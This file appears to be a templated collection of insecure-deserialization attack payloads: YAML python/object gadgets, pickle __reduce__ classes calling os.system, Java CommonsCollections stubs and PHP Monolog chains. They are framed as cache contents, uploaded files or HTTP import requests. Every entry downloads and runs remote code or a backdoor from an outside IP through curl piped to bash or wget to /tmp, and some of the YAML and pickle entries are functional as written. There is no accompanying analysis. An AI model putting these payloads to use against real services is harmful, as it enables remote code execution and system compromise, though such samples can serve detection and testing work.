!!python/object/new:subprocess.Popen
- ['wget', 'http://120.27.87.143/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://223.171.239.231/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('+uLqtIxilza3bNAW8NQ6l/YvGDkc7jszbp15n2yqiOyokiUpT7cUsVS3Nj0m')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://164.107.121.67/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://184.3.76.83/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://96.0.248.221/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://243.180.119.57/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:79:"5O8c4ZRYuytGZOe8/Wpfm1umzN71AhLlKCnkCGxr";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://192.184.60.70/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://218.157.146.166/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://98.91.166.27/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('0/CfX1jXb1DwmiytRiusdjD9YSENu5tGp6tgTc3oJXokNEUl0M3J3q/3PWTq')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://108.204.250.65/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://187.175.2.83/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://224.228.12.119/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('jRTqu+MXH64Pf8ZZySyrRY6vD6VrE5IBuFGzMp72u2buqte7uBWx44f41yvs')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://108.70.248.175/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('eX50j9VX3My3IafausCGTluct5d/bSSxj5PZChW66M4XgqmuM69q3WMhbAY6')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://232.21.22.79/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://191.185.123.174/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://44.193.198.154/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://14.20.45.89/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://159.217.53.195/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://122.239.55.198/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://22.135.186.125/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://222.131.191.252/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('GsNNVe2wRL0HJgBQS+AHIYrobtbvXQQXG+g93CgRneIPg6mTezIykqUijopf')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://166.125.162.99/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:56:"Gs7pKS4YZjU1+ij4XJh7zVCESi0zMSUlrxbTWuuI";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://89.172.176.60/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:42:"YascP0s+8rSFxfbSquz6pAkyTI6qAmmh+zM8DmwM";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://3.4.238.111/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('OCORY/MyuVnoK3+PiiHEJ01gx5wyAV7lgfOqEqZrPC+Dn7T2Ca9J3pg99m13')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://50.193.126.88/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://109.133.198.110/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://182.68.38.178/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:40:"M+hjERsmTA8Ma0iFL6VT3J3g/EbTBREHdTGXaGlk";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://230.77.2.130/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://169.31.81.143/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://215.148.39.223/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://115.1.138.131/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://32.158.207.162/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://184.121.235.175/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://189.90.217.94/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://236.82.253.245/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://109.194.207.75/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://92.255.96.19/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:78:"M1HDVKKvvV7MUAujqqcvsDAH06DybsdtQtTTQ8Bh";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://135.68.53.156/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://240.244.79.238/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://96.208.82.181/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://179.90.18.172/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:20:"aJj+j8lGOr3dOwdSNkNGJjlSFORLNP7CkRTuvT8j";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://176.83.177.234/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://71.170.172.157/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://249.223.238.229/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://20.17.49.61/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://162.152.166.106/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://177.21.116.138/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:64:"PDqPTgDT9XTNgVeQogQYj2eJBE5qywmaSDIk/nOP";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://106.214.37.147/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://66.41.187.231/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://155.95.111.206/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://111.237.114.211/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://50.57.211.232/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://22.121.96.14/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://140.30.206.128/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://199.81.246.36/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:49:"+gYmSc7oKfQT+1QzgwrGlJfgPy8blIE4LMN+YFBg";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://232.151.49.22/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:58:"NWwpi1KWQc6qSJOPccMnzB5wGNGIXWS/7UH6vhsD";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://42.84.232.101/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://155.184.130.119/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('IoacSIGQy/rJOM1jPb+0siTWf0AdSxPWHOCfD2xFm6PaTVQq3RzSAYJK2zJP')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://130.191.2.191/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://92.61.210.112/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://198.77.253.22/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('RCMeAMMYQ+c6MSrXi3K0TgTMfWVt21H9CIniMRMDTww8StGxDlFrZNh9HMoq')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://3.125.152.125/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://158.43.35.12/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://208.30.22.95/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://248.190.177.110/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://55.139.10.89/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://116.117.172.159/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://126.148.43.222/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:43:"3tag0/yAVs79ti6/DuLeuJ5mSlNBinrw19/FISIt";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://34.119.252.52/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://23.100.206.213/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:34:"JE5zSD2R4ft4SdfkbRqftrx7m+bozNnR2gxrldE7";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://206.44.34.254/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://113.237.8.134/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('n0frRjt5bwPzFtj0jmqBo5uBmmY/Sbyvcn6t9UZyiSjrlLQnkIKp+89Xy7xu')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://230.222.83.167/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://26.115.231.234/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:29:"CUQ0JkajyA0yePe940A6RH3/oQ+fgmMPZ0ITBea3";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://118.34.239.207/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('gGPCViDk0TfwDRqnNkwWOX/KDLq9lgx387kwHfMBik9stIWNn7pFBW1ywDNM')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://33.24.94.253/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://153.149.29.135/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://202.37.69.253/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://128.177.151.166/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://151.118.254.52/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://140.242.47.200/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://223.64.47.117/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://53.217.222.161/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://254.27.162.126/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://194.245.245.151/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('SQsbhjS5x6O1Ylf9EX9klfN2zmdZ732PBwWm4NvPC4AyawxRzt+L3+5ujVvP')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://31.19.123.25/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://180.114.104.24/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://67.69.110.252/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://13.7.87.207/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://209.251.0.150/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('lojvdNh7rGAlcgs6GjhmfIpqWeow58hOjvNftqGdCgMHhttI8e37FGYCv6np')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://20.133.55.1/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('HqV2bQSqdeLCmPxK+/XRp9j2vf9IqV1ZCL5mgqMhpS4HZ/8rtcOou+SvVCoK')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://98.250.171.31/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://156.16.125.215/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://241.183.147.197/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://221.237.139.42/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('27bGZ4ZaWrmmxOyMoKH9diIGo2KBg15+RaFqC4q7KjF/JFElM0pBxyAq15JT')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://21.199.109.116/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('xFc2kgqDgGa6kaZqOa/g4DZIKYChyET77Qpv2hUOJLKMjE64aj7cjUTbNAZy')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://115.235.96.79/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://67.102.131.215/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://162.96.122.66/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('PSv1yrsQrA/SlHIQ/uZ8QkJWYmeuRErgoJIhQydH5slj36LPb6z3EyYhVt3V')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://123.56.133.51/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://26.170.77.235/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://7.9.20.218/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('x+CHdywOwR96xcsr/PhVlHVqeiUUedUGK3qaLAM4lcFvjAvfM7Gsh6Wp8zUF')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://254.172.181.3/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://23.138.37.226/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://215.158.10.224/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://81.98.142.202/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://27.190.42.114/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Tlei6LexRoLK0z2a4PnML9vB1RUmz5Nb7qEvTA7N07CXUJZxD6eLS3wchGKO')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://128.204.158.33/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://155.88.70.200/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://98.1.64.231/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://43.223.133.218/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('nD6zuaoXP6eA16lX8ZLCQZLsT+wZLz9l1Y3Fp4SGSpNV5J6pDuyhcMwRyHnD')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://233.87.210.134/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:34:"GG954SnJpF0JRWygVNGeMaH+hXq6nCGeI8S/Ori0";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://121.163.243.93/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:74:"12wwUXyLLQ1hnc2lW4Tr2anKSDMvPr4tILeBCcQ4";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://86.145.21.94/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://115.157.35.85/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://76.213.218.63/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://60.147.67.203/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://38.236.11.202/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('2MKkGvuQdQF7SO88XUxSrRHYuutssqie1HnYuyZgT1IKIWEFs2ALUmE5XDmD')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://218.255.237.74/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('mKWYRouvw/L4XognQ8w6WDcEzd2/Lbs4GtkT8DC7s2S6rAIXefSD9sqPuEKD')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://29.132.209.45/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('ErUny/7lbv88LY/NNc5u0lx8QIeGdP0panIDRUAskducb1N+Ze7ktc5deB1u')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://53.214.218.84/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://167.32.251.96/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://14.57.133.146/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://44.193.207.94/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:29:"lJf5QERVOch+M+nV/Uhuqnr3ALSbgr+ONNpVfxnc";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://24.138.227.204/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:36:"RVd9aYUPzzDawg1SYw/g+3QOkQB5qBHDbWFKOimR";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://79.109.202.251/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:75:"1153mDBImNlXI8LZd4Ecw5tUM0POBv197ryk3Zb2";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://85.39.254.240/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://156.218.121.57/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://54.0.98.81/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:60:"ueBhSBavjSNieUhEUc6WmFWNJbdgWPaLnZd/E+2J";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://168.75.10.121/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://214.176.57.107/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://246.194.21.121/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:69:"W+bBsldLlpPJmuw4WPy3K2gvJSVZK4Xht/RoK+u7";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://36.157.198.45/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:32:"6KOyCvsgr/88tp0X/ND1fhPcAKQzXywB2KaVrHso";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://58.73.56.163/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://114.76.231.152/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://63.72.57.40/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://219.12.127.186/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://173.228.196.21/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://1.144.26.152/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:42:"bKxQqDMDf8ZIRG3fUKgrt6tL2KfsCAV9wBdsvGLS";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://120.227.17.224/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:30:"U/WCcR3kvOPx3beHRQG1AVnvgFfY6mDezZAe71PN";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://163.205.109.38/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://34.213.123.38/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:58:"gQF3pIqZbfheqeN0uyAen6F/OCqoVipzOyxnn01h";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://203.185.215.236/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('FsA9u+pW/Uc+drtkxBkrSfP5xbT8+pd7KJmpf5i1hu36cL0bKGWDjKj9u6Mp')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://35.20.144.178/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:80:"dXM+aMcsNcRh66p7Bz95i8dbVWfCOuuy+KwKDsYZ";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://58.246.15.12/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('u495Cs4qHxUCFGpf0OWHp1aMw0kb4OtyRh/MhRvYVj8ZL57KP1bnyxsQHBa8')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://132.195.63.64/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://239.183.33.87/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://203.14.82.75/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://85.78.60.202/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://233.140.32.198/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('MelzweyPW7uarKOGxukWHbTNN5nDEKBFaVJC4ELm2B+b2H71qSZARrHVV77f')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://111.220.182.119/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('NW3Cgf9vzPCbLeHHL0X5BUEF5bARJdhhC6Unh6TRqZLYLZhy6boMDs+UhCtR')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://138.26.90.161/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:47:"XJp1kjJlImhdEg06Dzo7qoKz8NVOKuilDU1QQGpt";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
